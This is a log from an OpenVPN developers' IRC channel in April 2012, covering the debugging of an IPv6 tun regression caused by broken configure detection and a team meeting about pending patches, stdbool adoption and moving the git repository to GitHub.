<@dazo> As not all commits are buildable ... commit 0dbd45db7d76fdff9fbaa64d147c2d2278492efc works ... and it breaks somewhere around those commits related to the restructuring of the source tree 06:50 <@dazo> git bisect listed these commits as potential troublemakers: 06:50 <@dazo> e02570fd7d1f7fcc0928b42c0f7a7bb597e80208 06:50 <@dazo> 51bd56f46f55177cf0f8b7811b35a009e150d55e 06:50 <@dazo> fcff80aac1f71ebf881fbc269fb3c4df0789de6b 06:50 <@dazo> 34cb9132ef2dae08f91a66015ea5437539a4b557 06:51 * dazo logs out now to dig deeper ... and to avoid annoying people with disconnects/connects 06:52 -!- dazo is now known as dazo_afk 07:13 -!- dazo_afk is now known as dazo 07:13 <@dazo> BAD: 51bd56f46f55177cf0f8b7811b35a009e150d55e 07:13 <@dazo> GOOD: 0dbd45db7d76fdff9fbaa64d147c2d2278492efc 07:13 <@dazo> so what does Alon change which makes this happen .... 07:14 <@cron2> can you put up a diff somewhere I could click? I'm at work and a bit git-impaired 07:14 <@dazo> sure 07:14 <@cron2> and what is "this" exactly? 07:14 <@dazo> http://www.fpaste.org/UeC2/ 07:15 <@dazo> IP header version is set to 0 07:15 <@dazo> on IPv6 packets 07:15 <@dazo> IPv4 works 07:15 <@cron2> huh 07:16 <@dazo> Thu Apr 26 12:06:18 2012 us=325222 David_Sommerseth/::ffff:90.152.67.58 IP packet with unknown IP version=0 seen 07:17 <@dazo> such messages are flooding the log file on IPv6 traffic 07:17 <@cron2> to be clear: this message is seen on the *other* side of a broken "tun" connection? 07:17 <@dazo> the server side 07:18 <@dazo> but I've bisected the client side 07:18 <@dazo> so it's the client side which triggers this 07:18 <@cron2> yes, this makes sense (the client wouldn't check, just stuff packets from/to the tun if without looking at them) 07:18 <@cron2> the client is linux? 07:18 <@dazo> yeah 07:19 <@cron2> mmmh 07:19 <@cron2> this is client-to-server traffic, so this would touch read_tun() in tun.c 07:20 <@cron2> this is actually... interesting 07:20 <@dazo> To trigger this, I used ping6 on the server side IPv6 TUN interface ... so yeah 07:20 <@dazo> ping6 on the client side to the server side's IPv6 TUN interface 07:20 <@cron2> write_tun() uses iph->version to set pi.proto, but that's "towards the tun interface", not "towards the server" 07:21 <@cron2> the client really doesn't do anything with the packet, except "grab it from tun fd, stuff it to ssl" 07:21 <@cron2> there could be a problem if "sizeof(tun_pi)" changed 07:22 <@cron2> this is skipped-over on read, and is expected to contain flags + ethertype for the packet 07:22 <@cron2> but I'd expect this to affect IPv4 as well 07:22 <@dazo> uhm .... could it be related to LINUX_IPV6 macro not being set? 07:23 * dazo double checks 07:23 <@cron2> oh, that could be as well 07:23 <@cron2> oh, very well :-) 07:23 <@dazo> ((51bd56f...)) $ git grep LINUX_IPV6 07:23 <@dazo> tun.c:#define LINUX_IPV6 1 07:23 <@dazo> tun.c:#define LINUX_IPV6 0 07:23 <@dazo> tun.c:#if LINUX_IPV6 == 0 07:23 <@dazo> tun.c:#if LINUX_IPV6 07:23 <@dazo> tun.c:#if LINUX_IPV6 07:24 <@cron2> this would result in the tun if not being set to "multiprotocol" mode, and not setting up the header stuff - and most likely, messing up IPv6 packets (on NetBSD, it would just silently drop all the IPv6) 07:24 <@cron2> are you getting an "explicit support for IPv6 tun devices is not provided" warning? 07:25 <@dazo> I must admit, I haven't read the log that careful 07:25 <@dazo> on which side? client or server? 07:25 <@cron2> client side 07:25 <@dazo> let me compile the broken version again 07:25 <@cron2> there's a check for #if LINUX_IPV6 == 0 (and tt->ipv6) print warning 07:25 * cron2 wonders why IPv4 works, though :-) 07:27 * dazo need to log off for a sec 07:28 -!- dazo is now known as dazo_afk 07:29 -!- dazo_afk is now known as dazo 07:30 <@dazo> cron2: yeah, I got this one on the broken one: 07:30 <@dazo> Thu Apr 26 13:27:30 2012 us=678821 NOTE: explicit support for IPv6 tun devices is not provided for this OS 07:30 <@dazo> #if defined(HAVE_TUN_PI) && defined(HAVE_IPHDR) && defined(HAVE_IOVEC) && defined(ETH_P_IPV6) && defined(ETH_P_IP) && defined(HAVE_READV) && defined(HAVE_WRITEV) 07:30 <@dazo> #define LINUX_IPV6 1 07:30 <@dazo> #else 07:30 <@dazo> #define LINUX_IPV6 0 07:30 <@dazo> #endif 07:30 <@dazo> So the issue is related to that ^^ block 07:31 <@dazo> $ egrep "HAVE_TUN_PI|HAVE_IPHDR|HAVE_IOVEC|ETH_P_IPV6|ETH_P_IP|HAVE_READV|HAVE_WRITEV" config.h 07:31 <@dazo> #define HAVE_IOVEC 1 07:31 <@dazo> #define HAVE_READV 1 07:31 <@dazo> #define HAVE_WRITEV 1 07:32 <@dazo> (that's on the broken one) 07:32 <@dazo> ((0dbd45d...)) $ egrep "HAVE_TUN_PI|HAVE_IPHDR|HAVE_IOVEC|ETH_P_IPV6|ETH_P_IP|HAVE_READV|HAVE_WRITEV" config.h 07:32 <@dazo> #define HAVE_IOVEC 1 07:32 <@dazo> #define HAVE_IPHDR 1 07:32 <@dazo> #define HAVE_READV 1 07:32 <@dazo> #define HAVE_TUN_PI 1 07:32 <@dazo> #define HAVE_WRITEV 1 07:32 <@dazo> that's the working one 07:33 * dazo expects ETH_P_IP and ETH_P_IPV6 to be defined somewhere else 07:33 * cron2 proposes to drop that whole mess 07:34 <@cron2> (proto.h, btw) 07:34 <@dazo> well, the odds for not having IPv6 support on Linux is very low these days 07:34 <@cron2> there is no linux around that does not have IPv6 (at least as far as the header files go) 07:34 <@dazo> exactly 07:34 <@cron2> it might be turned off (not loading ipv6.ko), but that's a run-time issue and doesn't matter at all for compile-time 07:34 <@dazo> exactly 07:35 <@cron2> so I'd ACK a patch taht will remove LINUX_IPV6 and unconditionally enable the "if it's 1" parts 07:35 <@dazo> but ... I'm thinking ... may not detecting HAVE_TUN_PI and HAVE_IPHDR have some other nasty side effects? 07:35 <@cron2> need to run, $colleagues want to go for lunch, bbl 07:35 <@dazo> c'ya! 07:35 * dazo should probably take lunch too :) 07:35 <@cron2> those others might cause struct-unknowns 07:35 <@cron2> bbl 07:36 <@dazo> nah ... those are only checked in tun.c ... so that's a safe one 07:36 * dazo writes a patch 07:47 <@mattock> dazo: TAP-driver will also be separated into it's own Git repo, right? 07:47 <@dazo> yes 07:47 <@dazo> Windows TAP driver, thatis 07:53 <@dazo> patch sent to ML .... waiting for the world to burst into yet another flame war .... as this patch even touches configure.ac .... 07:54 <@mattock> I'll start doing some build tests and I'm updating documentation here: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 07:54 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 07:55 <@mattock> I'm still not 100% what pieces are missing from 2.3-alpha2, packaging vise 07:55 <@dazo> publish these extra trees on sf.net - making them public 07:55 <@mattock> and whether we need/want (TAP) installers within (OpenVPN) installers 07:56 <@dazo> that probably simplifies some parts ... and the TAP driver can go through a silent install anyway 07:56 <@dazo> (initiated via the OpenVPN installer) 07:58 <@mattock> yeah, good point 07:58 <@mattock> and keeps the TAP install logic away from OpenVPN codebase 08:03 <@dazo> exactly 08:06 <@mattock> is "./configure --enable-lzo --enable-pkcs11" now the "normal" way to configure OpenVPN on *NIX? 08:06 <@mattock> meaning, SSL, crypto, lzo and pkcs11 are then enabled? 08:06 <@dazo> I use ./configure --enable-password-save --enable-selinux --enable-systemd 08:07 <@dazo> and I do use LZO ... but don't care about pkcs11, though 08:08 <@dazo> for RHEL+clones, --enable-selinux is a good thing (can harden openvpn even more) ... --enable-systemd has only effect on F15 and newer ... but doesn't harm on on systemd boxes 08:39 <@mattock> ok, the article is now as up-to-date as it can be without doing any tests: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 08:39 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 08:39 <@mattock> dazo: I'll add the --enable-password save option there, it's very often used 08:44 <@mattock> now to doing some real-life build tests using "generic"... 08:45 <@mattock> also taking a stab at "git stash"... it's going to be fun I'm sure :P 08:53 <@cron2> re 08:55 <@cron2> dazo: ACK! 08:56 <@cron2> (sent to list) 09:09 <@andj> good question from Fabian on the ML: what C standard do we aim for? 09:09 <@andj> C99, as long as VS gets it? 09:09 * cron2 usually codes for ANSI-C 09:10 <@cron2> "that will work everywhere" 09:10 <@cron2> no idea whether "the project" has a formal goal :-) 09:10 <@andj> I really like C99, but I know what you mean... 09:10 <@andj> (this is also a test for in-train connectivity) 09:11 <@andj> which seems to be going fine 09:11 <@andj> So I'll try to get in for the meeting 09:54 <@mattock> openvpn-build fails if lzo is 2.06, works with 2.05 09:54 <@mattock> due to the lzo patch in generic/patches/ 09:54 <@mattock> not sure if the patch is needed 09:55 <@cron2> we have an lzo patch? 09:56 <@mattock> not us, but openvpn-build git repo 09:56 <@mattock> openvpn-build/generic/patches/lzo-001-windll.patch 10:10 <@mattock> it seems that binaries generated by Alon's latest openvpn-build have lzo, ssl, crypto and libpkcs11 enabled 10:10 <@mattock> at least ldd shows them 10:28 <@mattock> now some Windows build tests again 10:39 <@mattock> first stab at windows-nsis installer generation also... 10:47 <@dazo> Today is the "why did my VPNs break"-day for me .... suddenly another VPN I have at home broke :/ 11:02 <@dazo> hmmm ... this smells fishy .... change the port number, and it works again ...... 11:03 <@dazo> maybe about time to think about obfuscating the traffic ..... 11:16 < ecrist> are you in china, dazo? 11:16 <@dazo> ecrist: nope 11:17 <@dazo> in Europe .... but my ISP at home as some restrictions to what you are allowed to do ... like not setting up a mail server (which I of course have done) ... so my mail server VPNs to a VM far far away in Europe where I can do anything I want ... and route SMTP traffic that way 11:18 <@dazo> so it might be that they noticed that my traffic on one port was a bit too long lasting 11:18 <@cron2> how annoying 11:19 <@dazo> yeah ... but what's even more annoying ... that's the only ISP in my neighbourhood which provides more than 2MB/256Kb lines :/ 11:19 <@dazo> (if it hadn't been for that, I'd changed ISP instantly) 11:22 < ecrist> lame 11:22 <@dazo> yupp! 11:22 < ecrist> you know, for about $20/mo you can get a VM on a 100Mbps pipe.... 11:23 <@mattock> dazo: that slow? 11:23 <@mattock> I think I got 100Mbps atm 11:23 <@mattock> not sure because it's included in the rent 11:24 <@dazo> my VPN server VM costs me $7 per month ... (192MB RAM, 4GB disk) ... with 100Mbps connectivity 11:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:52 <@dazo> hmm ... obfsproxy seems to work quite nice 12:52 * dazo is fascinated ... 12:56 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:56 <@mattock> hi jamesyonan! 12:56 <@mattock> meeting in 1 hour 12:56 <@jamesyonan> hi 12:56 <@jamesyonan> right 12:56 <@mattock> 17:00 UTC atm 12:58 <@andj> evening 12:58 <@andj> I could lose connectivity at any moment 12:59 <@andj> (so be warned) 13:03 <@cron2> I'll be with you in 10-15 minutes - need to see child to bed 13:11 * cron2 is here 13:12 <@dazo> cron2: you're also an hour too early ;-) 13:12 <@cron2> whut? 13:12 <@dazo> 18:00 UTC .... we're UTC+2 now 13:12 <@cron2> is this the first meeting in local summer time? 13:12 <@dazo> yeah 13:12 <@cron2> gah 13:13 <@dazo> :) 13:13 <@cron2> dazo: time enough to poke you to commit a few already-ACKed things :-) 13:13 <@andj> lol, so 20:00 CEST? 13:13 <@dazo> andj: yupp! 13:13 <@dazo> cron2: hehe ... yeah ... that's my plan :) 13:14 <@dazo> (I hope no more VPN connection issues appears today ... as that would be annoying ... solving two setups is enough for a day :)) 13:14 <@andj> oh well, brb changing trains 13:15 * dazo now believes andj is a train-addict .... loves travelling with trains :) 13:15 * cron2 is a train-addict as well 13:17 <@dazo> cron2: have you seen Alon's response to my patch? 13:21 <@cron2> not yet 13:21 <@cron2> most likely he's complaining that this is all the wrong approach 13:22 <@dazo> actually not .... but he got some plans for IPv6 ... which sounds backwards on my eyes 13:22 <@dazo> s/on my/in my/ 13:23 <@andj> //qu/quit 13:23 * andj hates the dutch railway system 13:25 <@andj> To be honest I think we need to freeze the code 13:25 <@andj> Before we spend an eternity checking all of Alon's code 13:26 <@cron2> Alon is all confused 13:26 <@andj> ? 13:26 <@cron2> --enable-ipv6/--disable-ipv6 is not something we want to *add* to the code now - if we had it, I would be all for removing it :-) 13:26 <@dazo> andj: yeah, agreed .... and then sort out the outstanding bugs which needs to be fixed for 2.3 (like reconnection often failing - hangs/spins on PUSH_REQUEST) 13:27 <@dazo> cron2: I don't ever see any reason why that would be beneficial ... IPv4 is dying - it will just take a long time .... in fact --enable/--disable-ipv4 would make more sense in my eyes 13:27 <@cron2> andj, dazo: yes, agree. Let's integrate what's open so far, let's heavily beat the code (buildbot running automatic client tests would have discovered the LINUX_IPV6 regression...) 13:28 <@andj> I'm fine with a second track, where Alon commits to an unstable branch, but the IPv6 stuff needs to go out into the world 13:28 <@cron2> dazo: in 5 years time, yes, but I expect that there will be IPv4 in enterprise networks for a loooong time to come 13:28 <@dazo> yupp 13:28 <@dazo> agreed 13:29 <@andj> Perhaps we should branch off the openvpn-2.3 branch or something? and start fixxing that branch, and let master move on? 13:29 <@cron2> what is needed for 2.4 is to change some assumptions that the code now has "server mode will always do IPv4!" to "we can have ipv6-only as well" (affects mainly the pool stuff, but possibly other corners of the code as well - never even looked into that) 13:29 <@andj> or is that not the openvpn way :) 13:29 <@cron2> andj: that is not the openvpn way :-) - we don't have enough manpower to really work on two branches simultaneously 13:29 <@andj> cron2: good point 13:30 <@cron2> 2.2/master was branched at 2.2-beta time, or even 2.2-release, or so - when we decided "no new code, only bugfixes go in here, and this is nearly ready for shipping" 13:30 -!- alonbl [d41951e3@gateway/web/freenode/ip.212.25.81.227] has joined #openvpn-devel 13:30 <@andj> Hey Alon! 13:30 <@dazo> I see it that Alon may do whatever he wants in his own tree ... when it reaches a point where it is well tested, and makes sense to integrate it .... we'll do that .... but now we care for the upstream tree instead, getting that in shape 13:30 < alonbl> I just tried this irc thing... :) 13:30 <@dazo> cool! 13:31 <@cron2> hi alon! welcome to the thing :-) 13:31 <@andj> :) 13:31 <@dazo> indeed, welcome! 13:31 < alonbl> I thought the meeting is in about 30 min... 13:31 <@andj> It is, we're just brainstorming 13:32 <@andj> (In the train here, not much else to do) 13:32 < alonbl> Oh... OK... just wanted to make sure I can attend. 13:32 <@andj> I might miss the first bit, since my train arrives at 20:08... 13:32 <@dazo> definitely, alonbl! I'm actually happy you're here 13:33 <@andj> we were just discussing options for releases 13:33 < alonbl> OK... I will try to keep up. 13:33 <@andj> I think the main focus for 2.4 should be further modularisation 13:34 * dazo finally got some time to go through the ML ... and will try to apply much of the ACKed patches 13:34 < alonbl> @andj: yes, it would be great, I already done some work on the tap, the major part is the crypto. 13:43 <@dazo> alonbl: if you got a few spare cycles ... would you mind having a look at this thread? http://thread.gmane.org/gmane.network.openvpn.devel/4883 .... I'm wondering if this is something we should look more into, or just ditch it 13:43 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:43 <@dazo> (it's a way old thread ... but I still have it tagged in my mailbox) 13:44 <@dazo> cron2: Just pulling up this patch again .... http://thread.gmane.org/gmane.network.openvpn.devel/4957 ... maybe you'll manage to look at it this time ;-) 13:44 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:44 < alonbl> @dazo: I already added resources in new build system. 13:45 <@dazo> alonbl: ahh ... so we don't need to care about that thread at all? 13:45 <@cron2> dazo: aargh 13:46 <@cron2> (yes, thanks) 13:46 <@dazo> ;-) 13:46 < alonbl> @dazo: resources are there, I think they are OK. 13:47 <@dazo> alonbl: perfect! Then I'll happily untag that mail thread and forget about it :) 13:48 <@dazo> thx a lot 13:51 < alonbl> Do you know where Heiko is? I need help in pushing last build fixes into openvpn-gui (http://comments.gmane.org/gmane.network.openvpn.devel/6147) https://github.com/alonbl/openvpn-gui/compare/master...build 13:51 <@vpnHelper> Title: OpenVPN developers list (at comments.gmane.org) 13:51 <@dazo> d12fk: ping ^^^ 13:51 <@dazo> alonbl: d12fk is Heiko 14:04 <@mattock> hi alon! 14:05 <@mattock> and everyone else, too :) 14:05 <@cron2> meeting now? 14:05 <@mattock> yeah 14:05 <@mattock> jamesyonan: there? 14:05 <@jamesyonan> yes 14:06 <@mattock> ok, topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2012-04-26 14:06 <@vpnHelper> Title: Topics-2012-04-26 – OpenVPN Community (at community.openvpn.net) 14:06 <@mattock> fairly heavy today 14:06 <@mattock> shall we start with Alon's remaining patches? 14:08 <@dazo> the first (C++ plugin) was ACKed by Fabian today ... and I agree to it, even though I haven't tested it ... it's standard way to support C++, and makes sense to have 14:08 <@mattock> ok, good 14:08 <@dazo> C++ comments to C comments ... no-brainer, and ACKed by Fabian 14:08 <@cron2> Fabian also acked the master...warnings thing 14:08 <@cron2> +1 14:09 <@cron2> Fabian also acked gitattributes, if I saw that right 14:09 <@dazo> jamesyonan: what's your take on this one ... https://github.com/alonbl/openvpn/compare/master...unicode 14:09 <@vpnHelper> Title: Comparing master...unicode · alonbl/openvpn · GitHub (at github.com) 14:09 <@dazo> cron2: he did 14:09 <@cron2> yep, he did 14:10 * cron2 cannot comment on windows unicode stuff 14:11 <@dazo> from what I recall d12fk said, it's more a cosmetic thing ... neither approaches are wrong ... it's just two very different ways of solving the same issue 14:11 <@jamesyonan> what is better about the new approach? 14:11 <@dazo> alonbl: ^^ 14:12 <@mattock> alonbl: fyi: I modified this page heavily today: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 14:12 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 14:12 < alonbl> @jamesyonan: the new approach is doing the UCS2->UTF8 conversion at earliest, giving a common bootstrap afterwards. 14:12 < alonbl> @jamesyonan: it also remving extra dependency in shell32 library. 14:12 <@mattock> alonbl: reducing conditionals further down the road I presume? 14:13 < alonbl> @jamesyonan: the problem is: POSIX gets main() arguments in UTF-8, solution should be how to reach the same state, not to modify the options module in order to re-read command-line from operating system. 14:13 <@jamesyonan> does this allow unicode chars to be given on command line when openvpn is run from shell prompt? 14:13 <@dazo> (the current approach does, iirc d12fk right) 14:15 < alonbl> @jamesyonan: yes. it uses wmain() in order to get UCS2 arguments, converting it to UTF-8 and call to legacy code. I will be happy if someone else will check this, for me it works great. 14:15 <@jamesyonan> has this been tested on a range of different Windows versions? 14:16 < alonbl> @mattock: sure. 14:16 <@mattock> if not, I got Windows 7, WinXP and Windowns 2008r2 server at my disposal 14:16 <@mattock> if somebody can provide a test case 14:16 < alonbl> @jamesyonan: I tested this on XP and 2008. 14:17 <@jamesyonan> do we support win2k any longer? 14:17 <@mattock> nope 14:17 < alonbl> @mattock: test case is simple... for me at least... I use Hebrew to test unicode, it tests non-ascii *AND* right-to-left ordering :) 14:17 <@mattock> dropped support @2.1.4 14:17 <@mattock> alonbl: oh :) 14:17 <@mattock> I could test ancient greek, if somebody is using that in production :P 14:18 <@mattock> ok, so do we need further testing? 14:19 <@jamesyonan> has it been tested on win 7? 14:19 <@dazo> I would generally believe 2008 and 7 is fairly close ... but agree that it should get an explicit Win7 fix 14:19 <@jamesyonan> usually if something works on XP and Win 7 it's a good bet it will work on intermediate versions 14:20 < alonbl> @jamesyonan: No, should not be any problem as nothing was changed in win7 in this regard, if someone has access to windows 7 I will be happy to work with. 14:20 <@mattock> I can do a quick test on Win7 during this meeting 14:20 <@mattock> so, I just need to add non-ASCII characters to openvpn arguments and see what happens? 14:20 <@mattock> where should I see the breakage (if any)? 14:21 <@dazo> mattock: create a config file with your special Finish chars ... and also have some cert/key files with such chars ... and see how openvpn behaves from the command line and the GUI 14:22 <@jamesyonan> if you use "verb 4" openvpn should echo arguments back to stdout 14:22 <@mattock> ok, I'll do that 14:23 <@mattock> next patch? 14:24 <@dazo> the bool -> obool patch 14:24 <@mattock> yeah 14:24 <@cron2> yeah 14:24 < alonbl> Yes, this one worth a discussion. 14:24 <@mattock> alonbl added some info here: https://community.openvpn.net/openvpn/wiki/Topics-2012-04-26#Patches 14:24 <@vpnHelper> Title: Topics-2012-04-26 – OpenVPN Community (at community.openvpn.net) 14:25 <@cron2> it's good that James is here :-) "we need a decision from above, there is too much religion involved!" :-) 14:25 <@mattock> :) 14:26 <@dazo> tbh, I haven't changed my opinion on this one .... I don't like this approach .... even though, some compilers treat bool differently - I don't see the issue if we code wise treat it consequent 14:26 * cron2 does not particularily like "obool" and would prefer fixing everything that breaks if we move to <stdbool.h> - *but* I'm not trying to insist on anything 14:26 <@jamesyonan> well one of the big problems with global search/replace patches like this (irrespective of the merit of the patch) is that it can create a merge conflict barrier at the patch point 14:27 <@dazo> an option I might be willing to consier is to use typedef and not #define macros .... as typedef will be stricter in what you can use the type for 14:27 <@jamesyonan> i.e. patches based on stuff before the patch become difficult to merge after the patch point 14:27 < alonbl> @jamesyonan: right, however, the new build already created this situation... so we can push this a bit forther... :) 14:28 <@dazo> well, it's not that hard to apply patches from before these big changes we have included now .... mostly, it's just to apply patches in ./src/openvpn instead of ./ 14:28 < alonbl> @dazo: I agree, I did not want to change anything but the name of the type... can do this as well. 14:29 < alonbl> @dazo: the platform change and naming were significant. Anyway, I don't think this is the curtial argument here... 14:30 <@dazo> what would happen if we did something like this? (not tested, just thinking aloud) .... #undef bool \n typedef bool { false = 0, true =1 }; \n 14:30 <@andj> Could you remind me what's wrong with the stdbool approach? 14:31 < alonbl> @andj: stdbool is gcc specific, it also does not define sizeof(bool), and it conflict with C++ application that #include C code. 14:31 <@cron2> andj: when gentoo did that, openvpn stopped working correctly. "bool" was used in some places to carry bitfield *flags* - which got fixed, so it might actually work now 14:31 <@cron2> we don't use sizeof(bool) anywhere, do we? 14:32 < alonbl> @dazo: I don't like to play games with the compiler... either we fix this or not... 14:32 <@andj> alonbl: isn't stdbool.h C99? 14:32 <@dazo> I've done quite some job reviewing bool usage over the whole code base (still got a bit left), but that code path which Gentoo hit is the only place I found issues (where bool was abused as flags) 14:32 < alonbl> @andj: should be, but even then, problem remains. 14:33 * cron2 doesn't see "the problem", if it doesn't actually break the code anymore due to type abuse 14:33 < alonbl> @cron2: no, I just outline the issues... for example a struct { bool x; } which is stored to file cannot be read by other code compiled using different compiler. 14:33 <@dazo> type abuse are a different type of issues, which should be solved by solving the abuse 14:33 <@andj> I'd like to see stdbool.h, as I like standards, even if they're relatively new ('99) 14:33 <@cron2> alonbl: since we're not doing that, why should we bother? 14:33 * andj needs to go eat quick, brb 14:34 <@cron2> dazo: +1 14:34 <@andj> so you've heard my 2c 14:34 <@andj> and agree with dazo there :) 14:34 <@cron2> if we go for stdbool, I see work for dazo ("finish your review") :) 14:34 <@dazo> :) 14:34 * dazo don't mind that 14:35 <@jamesyonan> I would tend to prefer an alterative that doesn't involve renaming bool 14:35 < alonbl> What happens if someone wish to write plugin in C++ and we have bool in openvpn-plugin.h? 14:36 <@cron2> there is no bool in there 14:36 < alonbl> @cron2: currently. 14:36 <@jamesyonan> can we conditionalize the C definition of bool only if the compiler is in C mode? 14:37 < alonbl> @jamesyonan: right. the #include will go without errors. I fear about the usage. 14:37 < alonbl> Anyway, stdbool usage will work... 14:38 <@mattock> +1 one for github: appending .patch to the URL will allow you to download the commit as a patch, nice... 14:38 <@jamesyonan> any downside of stdbool? 14:39 < alonbl> @jamesyonan: Major downside (apart of the above) is MSVC, solaris and older gcc does not have this so I need to create emulation anyway at autoconf. 14:40 <@cron2> solaris 10 has 14:40 < alonbl> @cron2: which toolchain? 14:40 <@cron2> uh 14:40 <@cron2> sorry, this is opensolaris 10, actually, my solaris10 isn't running right now 14:40 <@jamesyonan> I'm seeing a simple header file that claims to support C99 Boolean types for compilers without C99 support 14:41 * dazo brb 14:41 <@cron2> osol 10 has it right in /usr/include/stdbool.h, without me installing anything 14:41 <@jamesyonan> http://stackoverflow.com/questions/25461/interfacing-with-stdbool-h-c 14:41 <@vpnHelper> Title: interfacing with stdbool.h C++ - Stack Overflow (at stackoverflow.com) 14:41 <@andj> stdbool.h itself is very simple 14:41 < alonbl> @andj: right. 14:42 < alonbl> @cron2: yes, it was added (if I remember correctly) in recent sun studio (12.something) 14:42 < alonbl> So I guess we go ahead with stdbool, I will create emulation layer at autoconf and MSVC. 14:43 <@andj> awesome 14:43 <@cron2> alonbl: never used sun studio for anything, that's payware - always used gcc on solaris - but indeed, that's a good point 14:44 < alonbl> [... I still fear of using stdbool in my own projects... :) ] 14:44 <@jamesyonan> but doesn't stdbool provide a reasonable compatibility layer with C++ bool? 14:46 < alonbl> @jamesyonan: I had negative experience with C/C++ interaction, especially if using two different compilers... so I prefer to use C as typedef int mybool and not be worry... 14:49 <@jamesyonan> yeah but the cost is a giant search-replace patch and diversion from the universally recognizable bool type 14:49 <@andj> and moving away from a standrd 14:51 <@jamesyonan> +1 for stdbool approach 14:52 < alonbl> @mattock: what about https://github.com/alonbl/openvpn/compare/master...build, https://github.com/alonbl/openvpn/compare/master...crash 14:52 <@vpnHelper> Title: Comparing master...crash · alonbl/openvpn · GitHub (at github.com) 14:52 <@dazo> those three are already applied this evening 14:53 < alonbl> @jamesyonan: ok, so I will create emulation within build system for system that unsupport this, let's give this a try until the next problem. 14:53 <@mattock> dazo: those two? 14:53 * dazo see three patches/commits there 14:53 <@dazo> build: fix some statement left from conversion, build: properly detect TUNSETPERSIST and build: properly detect netinet/ip.h structs 14:54 <@mattock> ok, ignore me :) 14:54 <@mattock> which topic next? 14:54 <@cron2> the master...crash patch 14:54 <@cron2> I've seen it on the list, and if sl can be NULL there, this patch makes sense 14:54 <@cron2> I haven't investigated why it would be NULL, so I haven't commented on it 14:55 <@dazo> I haven't come that far to ACK it yet ... but the fix makes sense 14:55 < alonbl> @cron2: Well, better not to crash first... :) 14:55 <@cron2> alonbl: crashing is not good, but *hiding problems* is not good either - so if it should not be NULL, fix the cause, not the symptom 14:56 <@dazo> good popint 14:56 <@dazo> *point 14:57 <@dazo> cron2: this code path is only used if ENABLE_DEBUG is defined ... so this isn't something which is seen much in production 14:57 <@dazo> the function where it happens is even packet_id_debug_print() 14:58 < alonbl> @dazo: yes. 14:58 <@cron2> yeah, ok 14:58 <@dazo> oh wait ... --disable-debug in ./configure ... so ENABLE_DEBUG is on by default 14:59 < alonbl> @dazo: right. happens to anyone that has verb more than default. 14:59 <@cron2> was that default changed? 14:59 * cron2 remembers having used "verb 9" with no crash 14:59 < alonbl> @cron2: no. 15:00 <@jamesyonan> I think this is reasonable -- other code in packet_id.c takes care to check that this value isn't NULL 15:01 * dazo adds an ACKed by james 15:05 <@andj> what's next? 15:05 <@mattock> git repo layout? 15:05 <@cron2> git repo layout "what goes where" 15:05 <@mattock> the topic list is missing some pieces, take a look here: 15:05 * cron2 defers to dazo "he's da git man" 15:05 <@mattock> https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Projectstructure 15:05 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 15:06 <@dazo> when it comes to the openvpn and openvpn-build split ... where openvpn is pure autotools based, makes a lot of sense for me 15:06 <@andj> I'm fine any way... 15:07 <@cron2> I saw the question more as "where are we going to host these projects" 15:07 <@andj> Makes it easier for OpenVPN-NL to use its own build system... 15:07 <@cron2> less as "do we want them" 15:07 <@andj> "https://community.openvpn.net/openvpn/wiki/Topics-2012-04-26#Gitrepos:GitHub-SF.net" 15:07 <@andj> ? 15:07 <@vpnHelper> Title: Topics-2012-04-26 – OpenVPN Community (at community.openvpn.net) 15:07 <@andj> :) 15:09 <@mattock> yeah, the GitHub vs. SF.net discussion 15:09 <@andj> Just to start off: a show of hands, who prefers which system? 15:09 * andj <--- github 15:09 <@mattock> afaik GitHub is superior in many ways to SF.net 15:10 < alonbl> github++ 15:10 <@mattock> I'd prefer GitHub myself, too, unless someone can show some downsides (compared to SF.net) 15:10 < alonbl> @mattock: I turly tried to find some... 15:10 <@dazo> I'm not comfortable with putting all eggs in one basket ... esp. after the github incident not that long ago, where non-authorised people could get commit access to master 15:11 <@mattock> it could potentially increase number of contributions, and also allow more fine-grained access control 15:11 <@andj> Isn't the same risk also possible on sf.net? 15:11 <@mattock> wasn't SF.net also hacked a while back? 15:11 < alonbl> @dazo: We can always keep some other repository syncked in checkpoints. 15:11 <@dazo> which is why I also push out the tree to a server at home and fedorapeople.org 15:11 < alonbl> @mattock: yes. 15:12 < alonbl> @dazo: so continue doing so. 15:12 <@dazo> yeah, we can easily keep more trees in sync 15:12 <@mattock> what about doing development on GitHub and just keeping the SF.net in sync with that? 15:12 <@mattock> personally, I think it's worth a shot 15:12 <@mattock> jamesyonan: do you have any thoughts/opinion on this? 15:13 <@dazo> but I would like all reviews on the ML ... we don't know what happens to github in the future .... and ML are distributed across many systems already 15:13 < alonbl> @dazo: no change in mailing list. 15:13 <@andj> dazo: I agree, the ML is more permanent 15:14 <@mattock> dazo: you mean finding out "what did people say about this patch"? 15:14 <@mattock> at some point in the future 15:14 <@dazo> yeah 15:14 < alonbl> dazo: the discussion is to move the git repository, nothing more at this point. Also github does not have mailing list anyway :) 15:14 <@mattock> I was a bit surprised how difficult it was to trace the ACKs given to patches when I did the ACK system review... 15:15 <@mattock> alonbl: yeah, true 15:15 * dazo considers to modify his git-ack script to also include Message-ID of the patch 15:15 <@mattock> there's nothing mailing list specific at SF.net Git, either 15:16 <@mattock> dazo: good idea, or some other way of tracing back the discussion 15:16 <@dazo> I'll look at that soonish :) 15:16 <@andj> I'd like to move over to github if only for the friendlier source browser :) 15:16 <@jamesyonan> does github give you the ability to fetch metadata if we we ever wanted to migrate away from the service? 15:16 < alonbl> mattock: we cannot trace back to irc... :) 15:16 <@andj> this is recorded, right? 15:16 <@mattock> 